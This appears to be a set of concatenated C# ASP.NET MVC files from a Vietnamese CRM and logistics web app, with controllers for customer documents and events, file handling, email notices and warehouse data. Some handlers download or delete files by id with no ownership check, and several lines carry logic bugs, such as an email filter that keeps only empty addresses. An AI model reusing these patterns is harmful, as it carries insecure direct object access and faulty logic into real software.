return JsonResult(value, true);
}
[HttpPost]
[ValidateInput(false)]
[ValidateAntiForgeryToken]
public ActionResult Edit(CrmCusDocumentModel model)
{
model.FilesList = new List<ServerFile>();
if (!ModelState.IsValid)
{
var errors = ModelState.Where(n => n.Value.Errors.Count > 0).ToList();
return Json(new
{
Message = Resources.Resource.CRM_EDIT_ERROR_MESSAGE_BLANK,
Success = false,
View = this.RenderPartialView("_TemplateEditView", model)
}, JsonRequestBehavior.AllowGet);
}
try
{
if (model.Id == 0)
{
model.CreatedById = CurrenUser.Id;
model.Id = documentService.InsertModel(model);
}
else
{
model.ModifiedById = CurrenUser.Id;
documentService.UpdateModel(model);
}
UploadFile(model, model.Uploads);
return Json(new
{
Message = @"Thành công",
Success = true
}, JsonRequestBehavior.AllowGet);
}
catch (Exception ex)
{
ModelState.AddModelError(string.Empty, ex.Message);
return Json(new
{
Message = Resources.Resource.CRM_EDIT_ERROR_MESSAGE,
Success = false,
View = this.RenderPartialView("_TemplateEditView", model)
}, JsonRequestBehavior.AllowGet);
}
}
private void UploadFile(CrmCusDocumentModel model, List<HttpPostedFileBase> filesUpdoad)
{
if (filesUpdoad == null || !filesUpdoad.Any()) return;
var type = model.GetType().ToString();
foreach (var file in filesUpdoad.Where(file => file != null && file.ContentLength > 0))
{
try
{
var pathfoder = Path.Combine(Server.MapPath(@"~/" + DOCUMENT_PATH), model.CrmCusId.ToString("D6"), type, model.Id.ToString("D4"));
if (!Directory.Exists(pathfoder))
{
Directory.CreateDirectory(pathfoder);
}
var filePath = Path.Combine(pathfoder, Path.GetFileName(file.FileName));
file.SaveAs(filePath);
var fileName = file.FileName;
if (file.FileName.Length > 100)
{
var fileList = file.FileName.Split('.');
var typeDoc = fileList[fileList.Length - 1];
fileName = file.FileName.Substring(0, 95) + "." + typeDoc;
}
//save file to db
var fileSave = new ServerFile
{
ObjectId = model.Id,
ObjectType = type,
// Path = string.Format("{0}/{1}", pathfoder, file.FileName),
Path = string.Format("{0}/{1}/{2}/{3}/{4}", DOCUMENT_PATH, model.CrmCusId.ToString("D6"), type, model.Id.ToString("D4"), file.FileName),
FileName = fileName,
FileSize = file.ContentLength,
FileMimeType = file.ContentType
};
fileService.Insert(fileSave);
}
catch (Exception ex)
{
Logger.LogError(ex);
}
}
}
public ActionResult Delete(long id)
{
try
{
documentService.DeleteModel(id);
var filelist = fileService.GetServerFile(id, new CrmCusDocumentModel().GetType().ToString());
if (filelist.Any())
{
foreach (var serverFile in filelist)
{
if (serverFile != null)
if (System.IO.File.Exists(Server.MapPath(serverFile.Path)))
System.IO.File.Delete(Server.MapPath(serverFile.Path));
fileService.Delete(serverFile);
}
}
var value = new
{
Views = "Bạn đã xoá thành công",
Title = "Success!",
IsRemve = true,
TdId = "del_" + id
};
return JsonResult(value, true);
}
catch (Exception ex)
{
var result = new CommandResult(false)
{
ErrorResults = new[] { ex.Message }
};
return JsonResult(result, null, true);
}
}
public ActionResult Download(long id)
{
var document = fileService.GetById(id);
var cd = new System.Net.Mime.ContentDisposition
{
// for example foo.bak
FileName = document.FileName,
// always prompt the user for downloading, set to true if you want
// the browser to try to show the file inline
Inline = true,
};
// Response.AppendHeader("Content-Disposition", cd.ToString());
string filepath = AppDomain.CurrentDomain.BaseDirectory + document.Path;//.Replace("/","\\");
byte[] filedata = System.IO.File.ReadAllBytes(filepath);
Response.AppendHeader("Content-Disposition", cd.ToString());
return File(filedata, document.FileMimeType);
}
public JsonResult DeleteFile(long id)
{
try
{
var file = fileService.GetById(id);
if (file != null)
if (System.IO.File.Exists(Server.MapPath(file.Path)))
System.IO.File.Delete(Server.MapPath(file.Path));
fileService.Delete(file);
var value = new
{
Views = "Bạn đã xoá thành công",
Title = "Success!",
ColumnClass= "col-md-6 col-md-offset-3",
IsRemve = true,
TdId = "del_" + id
};
return JsonResult(value, true);
}
catch (Exception ex)
{
var result = new CommandResult(false)
{
ErrorResults = new[] { ex.Message }
};
return JsonResult(result, null, true);
}
}
}
}<file_sep>using System.Net.Mail;
namespace SSM.Common
{
using System;
using System.Globalization;
using System.Text.RegularExpressions;
public static class RegexUtilities
{
}
}<file_sep>using System;
namespace SSM.Models
{
public class CommonModel
{
public String MHBL { get; set; }
public String Cnee { get; set; }
public String Shipper { get; set; }
public String FlightVessel { get; set; }
public String SFreights { get; set; }
}
}<file_sep>using System;
using System.ComponentModel;
using System.ComponentModel.DataAnnotations;
namespace SSM.Models
{
public class SupplierModels
{
public long Id { get; set; }
[Required]
[DisplayName("Supplier Name")]
public string FullName { get; set; }
[DisplayName("Type")]
public string Type { get; set; }
[DisplayName("Address")]
public string Address { get; set; }
[DisplayName("PhoneNumber")]
public string PhoneNumber { get; set; }
[DisplayName("Fax")]
public string Fax { get; set; }
[DisplayName("Email")]
public string Email { get; set; }
[DisplayName("Company Name")]//Abb Name
[Required]
public string CompanyName { get; set; }
[DisplayName("Description")]
public string Description { get; set; }
public long? CreatedBy { get; set; }
public long? ModifiedBy { get; set; }
public long? CountryId { get; set; }
public DateTime DateCreate { get; set; }
public DateTime? DateModify { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Reflection.Emit;
using System.Web;
using System.Web.Mvc;
using AutoMapper;
using SSM.Common;
using SSM.Models;
using SSM.Models.CRM;
using SSM.Services;
using SSM.Services.CRM;
using SSM.ViewModels;
using SSM.ViewModels.Shared;
namespace SSM.Controllers
{
public class CRMEventController : BaseController
{
#region Define
private ICRMEventService eventService;
private ICRMScheduleServiec scheduleServiec;
private ICRMEvetypeService evetypeService;
private static String DOCUMENT_PATH = "/FileManager/CRMDocument";
private IServerFileService fileService;
private ICRMCustomerService crmCustomerService;
private UsersServices usersServices;
private ICRMUserFollowEventService followEventService;
private const string CRMVISITED_SEARCH_MODEL = "CRMVISITED_SEARCH_MODEL";
private const string CRMEVENT_SEARCH_MODEL = "CRMEVENT_SEARCH_MODEL";
private const string CALENDAR_SEARCH_MODEL = "CALENDAR_SEARCH_MODEL";
private Grid<CRMEventModel> _grid;
public CRMEventController()
{
eventService = new CRMEventService();
scheduleServiec = new CRMScheduleServiec();
evetypeService = new CRMEvetypeService();
fileService = new ServerFileService();
crmCustomerService = new CRMCustomerService();
usersServices = new UsersServicesImpl();
followEventService = new CRMUserFollowEventService();
}
#endregion
#region List
public ActionResult Index()
{
_grid = (Grid<CRMEventModel>)Session[CRMVISITED_SEARCH_MODEL];
if (_grid == null)
{
_grid = new Grid<CRMEventModel>
(
new Pager
{
CurrentPage = 1,
PageSize = 10,
Sord = "asc",
Sidx = "DateBegin"
}
);
_grid.SearchCriteria = new CRMEventModel();
}
UpdateGrid();
ViewData["UserSalesList"] = usersServices.GetAllSales(CurrenUser, false);
return View(_grid);
}
[HttpPost]
public ActionResult Index(Grid<CRMEventModel> grid, ListEventFilter filter)
{
_grid = grid;
_grid.ProcessAction();
Session[CRMVISITED_SEARCH_MODEL] = grid;
UpdateGrid(filter);
ViewData["UserSalesList"] = usersServices.GetAllSales(CurrenUser, false);
ViewBag.SearchingMode = filter;
return PartialView("_List", _grid);
}
private void UpdateGrid(ListEventFilter filter = null)
{
filter = filter ?? new ListEventFilter();
filter.Sales = filter.Sales ?? 0;
bool isEventAction = filter.OfEvent == TypeOfEvent.Events;
ViewBag.IsEventAction = isEventAction;
var page = _grid.Pager;
var sort = new SSM.Services.SortField(string.IsNullOrEmpty(page.Sidx) ? "DateEvent" : page.Sidx, page.Sord == "asc");
var totalRow = 0;
var qr = eventService.GetQuery(x => (filter.Sales == 0 || filter.Sales == x.CreatedById ||
(x.CRMCustomer.CRMFollowCusUsers != null &&
x.CRMCustomer.CRMFollowCusUsers.Any(f => f.UserId == filter.Sales)) ||
(x.CRMCustomer.CreatedById == CurrenUser.Id)
|| (x.CRMFollowEventUsers != null && x.CRMFollowEventUsers.Any(ef => ef.UserId == filter.Sales))
)
&& (filter.Status == CRMEventStatus.All || x.Status == (byte)filter.Status)
&& (string.IsNullOrEmpty(filter.CustomerName) ||
x.CRMCustomer.CompanyShortName.Contains(filter.CustomerName) ||
x.CRMCustomer.CompanyName.Contains(filter.CustomerName)));
if (filter.OfEvent.HasValue)
qr = filter.OfEvent == TypeOfEvent.Events ? qr.Where(x => x.IsEventAction == true) : qr.Where(x => x.IsEventAction == false);
if (filter.BeginDate.HasValue)
{
qr = qr.Where(x => x.DateEvent >= filter.BeginDate);
}
if (filter.EndDate.HasValue)
{
qr = qr.Where(x => x.DateEvent.Date <= filter.EndDate);
}
if (!CurrenUser.IsDirecter() && filter.Sales == 0)
{
if (CurrenUser.IsDepManager())
{
qr = qr.Where(x => x.User.DeptId == CurrenUser.DeptId || (x.CRMCustomer.CRMFollowCusUsers != null &&
x.CRMCustomer.CRMFollowCusUsers.Any(f => f.UserId == CurrenUser.Id)) ||
(x.CRMCustomer.CreatedById == CurrenUser.Id)
|| (x.CRMFollowEventUsers != null && x.CRMFollowEventUsers.Any(ef => ef.UserId == CurrenUser.Id)));
}
else
{
qr = qr.Where(x => x.CreatedById == CurrenUser.Id ||
(x.CRMCustomer.CRMFollowCusUsers != null &&
x.CRMCustomer.CRMFollowCusUsers.Any(f => f.UserId == CurrenUser.Id)) ||
(x.CRMCustomer.CreatedById == CurrenUser.Id)
|| (x.CRMFollowEventUsers != null && x.CRMFollowEventUsers.Any(ef => ef.UserId == CurrenUser.Id)));
}
}
qr = qr.OrderByDescending(x => x.DateEvent).ThenBy(sort);
totalRow = qr.Count();
var list = eventService.GetListPager(qr, page.CurrentPage, page.PageSize);
var listView = list.Select(x => eventService.ToModel(x)).ToList();
_grid.Pager.Init(totalRow);
if (totalRow == 0)
{
_grid.Data = new List<CRMEventModel>();
ViewBag.TotalDisplay = string.Empty;
return;
}
var typeOfEvent = filter.OfEvent == TypeOfEvent.Visited ? "viếng thăm" : "sự kiện";
var finished = list.Count(x => x.Status == (byte)CRMEventStatus.Finished);
var follow = list.Count(x => x.Status == (byte)CRMEventStatus.Follow);
string display = string.Format(Resources.Resource.CRM_EVENT_LIST_TOTAL, totalRow, typeOfEvent, finished, follow);
ViewBag.TotalDisplay = display;
_grid.Data = listView;
}
public JsonResult ListByCus(long refId, bool isEventAction = false)
{
var sort = new SSM.Services.SortField("Subject", true);
ViewBag.IsEventAction = isEventAction;
var totalRow = 0;
var page = new Pager() { CurrentPage = 1, PageSize = 100 };
IEnumerable<CRMEventModel> listEvents = eventService.GetAll(sort, out totalRow, page, refId, isEventAction, CurrenUser);
crmCustomer = crmCustomer ?? crmCustomerService.GetModelById(refId);
var value = new
{
Views = this.RenderPartialView("_ListForCus", listEvents),
CloseOther = true,
Title = string.Format(@"Danh sách {0} của khách hàng {1}", isEventAction ? "sự kiện" : "viếng thăm", crmCustomer.CompanyShortName),
};
return JsonResult(value, true);
}
#endregion
#region Created and edit
private CRMCustomerModel crmCustomer;
public ActionResult Create(long refId = 0, bool isEventAction = false)
{
crmCustomer = crmCustomer ?? crmCustomerService.GetModelById(refId);
var model = new CRMEventModel()
{
DateBegin = DateTime.Now,
DateEnd = DateTime.Now,
DateEvent = DateTime.Now,
Status = CRMEventStatus.Follow,
CrmCusId = refId,
IsEventAction = isEventAction,
TimeOfRemider = "9:00",
FilesList = new List<ServerFile>()
};
model.CheckModels = LoadCheckModel(model.DayOfWeek);
ViewData["CRMEventType"] = evetypeService.GetAll();
if (crmCustomer != null)
{
model.CusName = crmCustomer.CompanyShortName;
}
var value = new
{
Views = this.RenderPartialView("_EditTemplate", model),
Title = string.Format(@"Tạo {0} {1} ", isEventAction ? "sự kiện" : "viếng thăm", crmCustomer != null ? "cho khách hàng " + crmCustomer.CompanyShortName : ""),
};
return JsonResult(value, true);
}
[HttpPost]
public ActionResult Create(CRMEventModel model)
{
ViewData["CRMEventType"] = evetypeService.GetAll();
model.FilesList = new List<ServerFile>();
model.CheckModels = LoadCheckModel(model.DayOfWeek);
if (!CheckModelValid(model))
{
GetRefEvent(model);
return Json(new
{
Message = Resources.Resource.CRM_EDIT_ERROR_MESSAGE_BLANK,
Success = false,
View = this.RenderPartialView("_EditTemplate", model)
}, JsonRequestBehavior.AllowGet);
}
try
{
if (string.IsNullOrEmpty(model.CusName) && model.CrmCusId == 0)
{
ModelState.AddModelError("CusName", @"Tên khách hàng không tồn tại trong hệ thống");
return Json(new
{
Message = Resources.Resource.CRM_EDIT_ERROR_MESSAGE_BLANK,
Success = false,
View = this.RenderPartialView("_EditTemplate", model)
}, JsonRequestBehavior.AllowGet);
}
model.TypeOfEvent = model.IsEventAction ? TypeOfEvent.Events : TypeOfEvent.Visited;
if (!string.IsNullOrEmpty(model.TimeBegin))
{
int[] timeBegin = model.TimeBegin.Split(':').Select(x => int.Parse(x)).ToArray();
model.DateBegin = new DateTime(model.DateBegin.Year, model.DateBegin.Month, model.DateBegin.Day, timeBegin[0], timeBegin[1], 0);
}
if (!string.IsNullOrEmpty(model.TimeEnd) && model.DateEnd != null)
{
int[] timeEnd = model.TimeEnd.Split(':').Select(x => int.Parse(x)).ToArray();
model.DateBegin = new DateTime(model.DateBegin.Year, model.DateBegin.Month, model.DateBegin.Day, timeEnd[0], timeEnd[1], 0);
}
if (model.Id > 0)
{
model.ModifiedBy = CurrenUser;
model.ModifiedDate = DateTime.Now;
eventService.UpdateToDb(model);
}
else
{
model.CreatedBy = CurrenUser;
var id = eventService.InsertToDb(model).Id;
model.Id = id;
}
UploadFile(model, model.Uploads);
return Json(new
{
Message = @"Thành công",
Success = true
}, JsonRequestBehavior.AllowGet);
}
catch (Exception ex)
{
GetRefEvent(model);
ModelState.AddModelError(string.Empty, ex.Message);
return Json(new
{
Message = Resources.Resource.CRM_EDIT_ERROR_MESSAGE,
Success = false,
View = this.RenderPartialView("_EditTemplate", model)
}, JsonRequestBehavior.AllowGet);
}
}
private void GetRefEvent(CRMEventModel model)
{
var db = eventService.GetById(model.Id);
if (db != null)
{
db.FilesList = fileService.GetServerFile(model.Id, new CRMEventModel().GetType().ToString());
db.FilesList = db.FilesList ?? new List<ServerFile>();
model.CreatedBy = db.CreatedBy;
model.FilesList = db.FilesList;
model.UsersFollow = db.UsersFollow;
model.UserFollowNames = db.UserFollowNames;
}
}
private bool CheckModelValid(CRMEventModel model)
{
bool isValid = ModelState.IsValid;
if (model.DateBegin > model.DateEnd)
{
isValid = false;
ModelState.AddModelError(string.Empty, @"Date End must be more than or equals Date Begin");
}
if (model.IsEventAction && (model.EventTypeId == null || model.EventTypeId == 0))
{
isValid = false;
ModelState.AddModelError("EventTypeId", @"Type is required");
}
if (model.CrmCusId == 0 || string.IsNullOrEmpty(model.CusName))
{
isValid = false;
ModelState.AddModelError("CusName", @"Customer is required");
}
if (model.CrmCusId == 0 && !string.IsNullOrEmpty(model.CusName))
{
isValid = false;
ModelState.AddModelError("CusName", @"Customer is not right");
}
return isValid;
}
public ActionResult Detail(long id)
{
var model = eventService.GetById(id);
model.CheckModels = LoadCheckModel(model.DayOfWeek);
model.FilesList = fileService.GetServerFile(id, new CRMEventModel().GetType().ToString());
model.FilesList = model.FilesList ?? new List<ServerFile>();
model.CusName = model.CRMCustomer.CompanyShortName;
model.TimeBegin = model.DateBegin.ToString("HH:mm");
ViewData["CRMEventType"] = evetypeService.GetAll();
return View(model);
}
[HttpGet]
public ActionResult Edit(long id)
{
var model = eventService.GetById(id);
model.CheckModels = LoadCheckModel(model.DayOfWeek);
model.FilesList = fileService.GetServerFile(id, new CRMEventModel().GetType().ToString());
model.FilesList = model.FilesList ?? new List<ServerFile>();
model.CusName = model.CRMCustomer.CompanyShortName;
model.TimeBegin = model.DateBegin.ToString("HH:mm");
ViewData["CRMEventType"] = evetypeService.GetAll();
var value = new
{
Views = this.RenderPartialView("_EditTemplate", model),
Title = string.Format(@"Sửa {0} cho khách hàng {1} ", model.IsEventAction ? "sự kiện" : "viếng thăm", model.CRMCustomer.CompanyShortName),
};
return JsonResult(value, true);
}
private void UploadFile(CRMEventModel model, List<HttpPostedFileBase> filesUpdoad)
{
if (filesUpdoad == null || !filesUpdoad.Any()) return;
var type = model.GetType().ToString();
foreach (var file in filesUpdoad.Where(file => file != null && file.ContentLength > 0))
{
try
{
var pathfoder = Path.Combine(Server.MapPath(@"~/" + DOCUMENT_PATH), model.CrmCusId.ToString("D6"), type, model.IsEventAction ? "Event" : "Visited", model.Id.ToString("D4"));
if (!Directory.Exists(pathfoder))
{
Directory.CreateDirectory(pathfoder);
}
var filePath = Path.Combine(pathfoder, Path.GetFileName(file.FileName));
file.SaveAs(filePath);
//save file to db
var fileSave = new ServerFile
{
ObjectId = model.Id,
ObjectType = type,
Path = string.Format("{0}/{1}/{2}/{3}/{4}/{5}", DOCUMENT_PATH, model.CrmCusId.ToString("D6"), type, model.IsEventAction ? "Event" : "Visited", model.Id.ToString("D4"), file.FileName),
FileName = file.FileName,
FileSize = file.ContentLength,
FileMimeType = file.ContentType
};
fileService.Insert(fileSave);
}
catch (Exception ex)
{
Logger.LogError(ex);
}
}
}
#endregion
#region Schedule load and setting
public ActionResult LoadSchedule(int idSchedule, bool isEventAction, bool isList = false)
{
ViewBag.IsEventAction = isEventAction;
var item = scheduleServiec.GetById(idSchedule) ?? new CRMScheduleModel() { DateBegin = DateTime.Now, DateEnd = DateTime.Now, TimeOfSchedule = "12:00pm" };
item.CheckModels = LoadCheckModel(item.DayOfWeek);
if (isList)
{
var value = new
{
Views = this.RenderPartialView("_ScheduleTemplate", item),
Title = "Cài đặt lịch nhắc nhở",
ColumnClass = "col-md-5 col-md-offset-2"
};
return JsonResult(value, true);
}
return PartialView("_ScheduleTemplate", item);
}
[HttpPost]
public ActionResult EditSchedule(CRMScheduleModel model)
{
//var isvalid = CheckModelValid(model);
//if (!isvalid)
//{
// return PartialView("_ScheduleTemplate", model);
//}
var listDay = model.CheckModels.Where(x => x.Checked).Select(x => x.Id).ToArray();
model.DayOfWeek = listDay;
if (model.Id == 0)
{
var data = scheduleServiec.InsertToDb(model);
model = Mapper.Map<CRMScheduleModel>(data);
}
else
{
scheduleServiec.UpdateToDb(model);
}
return Json(new
{
Success = true,
Message = "Tạo mới thành công",
Model = model
}, JsonRequestBehavior.AllowGet);
}
List<CheckModel> LoadCheckModel(IEnumerable<int> listDay)
{
if (listDay == null || !listDay.Any())
{
var list = (from DayOfWeek day in Enum.GetValues(typeof(DayOfWeek))
select new CheckModel() { Id = (int)day, Name = day, Checked = false }).ToList();
return list;
}
else
{
var list = (from DayOfWeek day in Enum.GetValues(typeof(DayOfWeek))
select new CheckModel() { Id = (int)day, Name = day, Checked = listDay.Contains((int)day) }).ToList();
return list;
}
}
#endregion
public ActionResult Delete(int id)
{
try
{
var eventItem = eventService.GetDbById(id);
var filelist = fileService.GetServerFile(id, new CRMEventModel().GetType().ToString());
if (filelist.Any())
{
foreach (var serverFile in filelist)
{
if (serverFile != null)
if (System.IO.File.Exists(Server.MapPath(serverFile.Path)))
System.IO.File.Delete(Server.MapPath(serverFile.Path));
fileService.Delete(serverFile);
}
}
var follows = followEventService.GetAll(x => x.VisitId == id);
if (follows.Any())
{
followEventService.DeleteAll(follows);
}
eventService.Delete(eventItem);
var value = new
{
Views = "Bạn đã xoá thành công",
Title = "Success!",
IsRemve = true,
TdId = "del_" + id
};
return JsonResult(value, true);
}
catch (Exception ex)
{
var result = new CommandResult(false)
{
ErrorResults = new[] { ex.Message }
};
return JsonResult(result, null, true);
}
}
public ActionResult CalendarView()
{
ViewData["UserSalesList"] = usersServices.GetAllSales(CurrenUser, false);
var current = DateTime.Now;
var filter = new EventFilter()
{
Year = current.Year,
Month = current.Month,
Sales = 0,
OfEvent = null
};
ViewBag.filter = filter;
var qrEvents =
eventService.GetQuery(x => x.DateBegin.Month == current.Month
&& x.DateBegin.Year == current.Year);
if (!CurrenUser.IsDirecter())
{
if (CurrenUser.IsDepManager())
{
qrEvents = qrEvents.Where(x => x.User.DeptId == CurrenUser.DeptId || (x.CRMCustomer.CRMFollowCusUsers != null &&
x.CRMCustomer.CRMFollowCusUsers.Any(f => f.UserId == CurrenUser.Id)) ||
(x.CRMCustomer.CreatedById == CurrenUser.Id)
|| (x.CRMFollowEventUsers != null && x.CRMFollowEventUsers.Any(ef => ef.UserId == CurrenUser.Id)));
}
else
{
qrEvents = qrEvents.Where(x => x.CreatedById == CurrenUser.Id ||
(x.CRMCustomer.CRMFollowCusUsers != null &&
x.CRMCustomer.CRMFollowCusUsers.Any(f => f.UserId == CurrenUser.Id)) ||
(x.CRMCustomer.CreatedById == CurrenUser.Id) ||
(x.CRMFollowEventUsers != null && x.CRMFollowEventUsers.Any(ef => ef.UserId == CurrenUser.Id)));
}
}
var list = qrEvents.ToList();
Session[CALENDAR_SEARCH_MODEL] = filter;
return View(list);
}
[HttpPost]
public ActionResult CalendarView(string type, EventFilter filter)
{
ViewData["UserSalesList"] = usersServices.GetAllSales(CurrenUser, false);
var currentFilter = (EventFilter)Session[CALENDAR_SEARCH_MODEL];
if (filter.Month == 0) filter = currentFilter;
var dateOfMonth = new DateTime(filter.Year, filter.Month, 1);
if (!filter.Sales.HasValue)
{
filter.Sales = 0;
}
switch (type)
{
case "prev":
dateOfMonth = dateOfMonth.AddMonths(-1);
break;
case "current":
dateOfMonth = DateTime.Now;
break;
case "next":
dateOfMonth = dateOfMonth.AddMonths(1);
break;
}
filter.Month = dateOfMonth.Month;
filter.Year = dateOfMonth.Year;
var qrEvents =
eventService.GetQuery(x => (x.DateBegin.Month == filter.Month && x.DateBegin.Year == filter.Year)
&& (filter.Sales == 0 || (filter.Sales == x.CreatedById ||
(x.CRMCustomer.CreatedById == filter.Sales) ||
(x.CRMFollowEventUsers != null && x.CRMFollowEventUsers.Any(ef => ef.UserId == filter.Sales))))
&& (filter.Status == CRMEventStatus.All || x.Status == (byte)filter.Status)
&& (string.IsNullOrEmpty(filter.CustomerName) || x.CRMCustomer.CompanyShortName.Contains(filter.CustomerName) || x.CRMCustomer.CompanyName.Contains(filter.CustomerName))
);
if (filter.OfEvent.HasValue)
qrEvents = filter.OfEvent == TypeOfEvent.Events ? qrEvents.Where(x => x.IsEventAction == true) : qrEvents.Where(x => x.IsEventAction == false);
if (!CurrenUser.IsDirecter() && filter.Sales == 0)
{
if (CurrenUser.IsDepManager())
{
qrEvents = qrEvents.Where(x => x.User.DeptId == CurrenUser.DeptId || (x.CRMCustomer.CRMFollowCusUsers != null &&
x.CRMCustomer.CRMFollowCusUsers.Any(f => f.UserId == CurrenUser.Id)) ||
(x.CRMCustomer.CreatedById == CurrenUser.Id) ||
(x.CRMFollowEventUsers != null && x.CRMFollowEventUsers.Any(ef => ef.UserId == CurrenUser.Id)));
}
else
{
qrEvents = qrEvents.Where(x => x.CreatedById == CurrenUser.Id ||
(x.CRMCustomer.CRMFollowCusUsers != null &&
x.CRMCustomer.CRMFollowCusUsers.Any(f => f.UserId == CurrenUser.Id)) ||
(x.CRMCustomer.CreatedById == CurrenUser.Id) ||
(x.CRMFollowEventUsers != null && x.CRMFollowEventUsers.Any(ef => ef.UserId == CurrenUser.Id)));
}
}
var list = qrEvents.ToList();
Session[CALENDAR_SEARCH_MODEL] = filter;
ViewBag.filter = filter;
return PartialView("_CalendarModelView", list);
}
public ActionResult SendEventEmail(long id)
{
var events = eventService.GetById(id);
if (!events.UsersFollow.Any())
return null;
var to = events.UsersFollow.Where(x => string.IsNullOrEmpty(x.User.Email)).Select(x => x.User.Email).ToArray();
if (!to.Any())
{
return Json(new
{
Message = @"Gửi email thất bại! Lỗi: không tồn tại email người nhận ",
Success = false,
}, JsonRequestBehavior.AllowGet);
}
var dept =
usersServices.GetAll(
x => x.DeptId == CurrenUser.DeptId && x.RoleName == UsersModel.Positions.Manager.ToString());
var ccEmail = string.Empty;
ccEmail = dept.Where(u => string.IsNullOrEmpty(u.Email)).Aggregate(ccEmail, (current, u) => current + (u.Email + ","));
var admin = usersServices.FindEntity(x => x.UserName.ToLower() == "admin");
var user = !string.IsNullOrEmpty(CurrenUser.Email) ? CurrenUser : admin;
var model = new EmailModel
{
EmailTo = string.Join(",", to),
User = user,
EmailCc = ccEmail + CurrenUser.Email,
Message = string.Format("Bạn được yêu cầu cùng tham gia sự kiện {0} vào ngày {1:dd/MM/yyyy}", events.Subject, events.DateBegin),
Subject = events.Subject
};
var email = new EmailCommon { EmailModel = model };
string errorMessages;
if (email.SendEmail(out errorMessages, true))
{
return Json(new
{
Message = @"Gửi email thành công",
Success = true
}, JsonRequestBehavior.AllowGet);
}
return Json(new
{
Message = @"Gửi email thất bại! Lỗi: " + errorMessages,
Success = false,
}, JsonRequestBehavior.AllowGet);
}
public ActionResult GetUserFollowDialog(long id, string name)
{
var customer = crmCustomerService.GetById(id);
ViewBag.Customer = customer;
var mode = followEventService.GetListModelsByCus(id);
if (!mode.Any())
{
mode = new List<CRMFollowEventUserModel>();
}
var view = this.RenderPartialView("_UserFollowList", mode);
var value = new
{
Views = view,
CloseOther = true,
Title = string.Format(@"Control user Follow for customer {0}", name),
};
return JsonResult(value, true);
}
[HttpPost]
public ActionResult AddFollow(long visitId, long userId)
{
var exited = followEventService.Any(x => x.VisitId == visitId && x.UserId == userId);
if (exited)
{
return Json(new
{
Message = "Sale nay đã tồn tại trong theo dõi",
Success = false,
dialog = true
}, JsonRequestBehavior.AllowGet);
}
var mode = new CRMFollowEventUserModel()
{
VisitId = visitId,
UserId = userId,
AddById = CurrenUser.Id
};
var id = followEventService.InsertToDb(mode);
var db = followEventService.FindEntity(x => x.Id == id);
var view = this.RenderPartialView("_UserFollowItem", db);
var tr = string.Format("<tr id='user_{0}'>{1}</tr>", db.Id, view);
return Json(tr, JsonRequestBehavior.AllowGet);
}
public ActionResult DeleleUserFollow(long id)
{
var db = followEventService.FindEntity(x => x.Id == id);
if (db != null && !db.IsLook)
{
followEventService.DeleteToDb(id);
if (CurrenUser.Id == db.UserId && CurrenUser.IsStaff())
{
var value2 = new
{
Views = "You have ve leave out this event",
Title = "Success!",
FormClose = true,
};
return JsonResult(value2, true);
}
else
{
var value = new
{
Views = "Bạn đã xoá thành công",
Title = "Success!",
IsRemve = true,
TdId = "del_" + id
};
return JsonResult(value, true);
}
}
else
{
var result = new CommandResult(false)
{
ErrorResults = new[] { "Sale is look by owner, you can not leave!" }
};
return JsonResult(result, null, true);
}
}
public ActionResult SetLookUser(long id, bool isLook)
{
var db = followEventService.FindEntity(x => x.Id == id);
if (db.IsLook && db.LockById != CurrenUser.DeptId && CurrenUser.IsDepManager() && !CurrenUser.IsAdmin())
{
var value = new
{
Views = "This locked by director. Please contact him for unlock",
Title = "Error!",
ColumnClass = "col-md-6 col-md-offset-3"
};
return JsonResult(value, true);
}
followEventService.Look(id, isLook, CurrenUser);
db = followEventService.FindEntity(x => x.Id == id);
var view = this.RenderPartialView("_UserFollowItem", db);
return Json(view, JsonRequestBehavior.AllowGet);
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Data.SqlTypes;
using System.Linq;
using AutoMapper;
using SSM.Models;
namespace SSM.Services
{
public interface IWarehouseSevices
{
IEnumerable<Warehouse> GetAll(bool cache = false);
IEnumerable<Warehouse> GetAll(Warehouse model);
Warehouse GetWarehouse(long id);
WareHouseModel GetWareHouseModel(long id);
void DeleteWareHouse(long id);
void InsertWareHouse(WareHouseModel model);
void UpdateWareHouse(WareHouseModel model);
}
public class WareHouseServices : IWarehouseSevices
{
private readonly DataClasses1DataContext context;
public WareHouseServices()
{
this.context = new DataClasses1DataContext();
}
private IEnumerable<Warehouse> warehouses;
public IEnumerable<Warehouse> GetAll(bool cache = false)
{
if (cache == true && warehouses != null)
return warehouses;
return warehouses = context.Warehouses.ToList();
}
public IEnumerable<Warehouse> GetAll(Warehouse model)
{
return from wh in context.Warehouses
where (string.IsNullOrEmpty(model.Code) || wh.Code.Contains(model.Code))
&& (string.IsNullOrEmpty(model.Address) || wh.Address.Contains(model.Address))
&& (string.IsNullOrEmpty(model.Name) || wh.Address.Contains(model.Name))
select wh;
}
public Warehouse GetWarehouse(long id)
{
return context.Warehouses.FirstOrDefault(x => x.Id == id);
}
public WareHouseModel GetWareHouseModel(long id)
{
return ToModels(GetWarehouse(id));
}
public void DeleteWareHouse(long id)
{
var dbWh = GetWarehouse(id);
if (dbWh == null)
throw new SqlNotFilledException("Not found Warehouse with id");
context.Warehouses.DeleteOnSubmit(dbWh);
context.SubmitChanges();
}
public void InsertWareHouse(WareHouseModel model)
{
var dbModel = ToDbModel(model);
context.Warehouses.InsertOnSubmit(dbModel);
context.SubmitChanges();
}
public void UpdateWareHouse(WareHouseModel medel)
{
var dbWh = GetWarehouse(medel.Id);
if (dbWh == null)
throw new SqlNotFilledException("Not found Warehouse with id");
CoppyToDbMode(medel, dbWh);
context.SubmitChanges();
}
private WareHouseModel ToModels(Warehouse model)
{
if (model == null) return null;
return Mapper.Map<WareHouseModel>(model);
}
private void CoppyToDbMode(WareHouseModel model, Warehouse warehouse)
{
warehouse.Id = model.Id;
warehouse.Address = model.Address;
warehouse.Description = model.Description;
warehouse.Email = model.Email;
warehouse.Name = model.Name;
warehouse.Code = model.Code;
warehouse.AreaId = model.AreaId;
warehouse.Fax = model.Fax;
warehouse.PhoneNumber = model.PhoneNumber;
warehouse.ModifiedBy = model.ModifiedBy;
warehouse.DateModify = model.DateModify;
}
private Warehouse ToDbModel(WareHouseModel model)
{
var db = new Warehouse()
{
Id = model.Id,
Address = model.Address,
Description = model.Description,
Email = model.Email,
Name = model.Name,
Code = model.Code,
Fax = model.Fax,
PhoneNumber = model.PhoneNumber,
AreaId = model.AreaId,
CreatedBy = model.CreatedBy,
ModifiedBy = model.ModifiedBy,
DateCreate = model.DateCreate,
DateModify = model.DateModify
};
return db;
}
}
}<file_sep>using System;
using System.Collections.Generic;
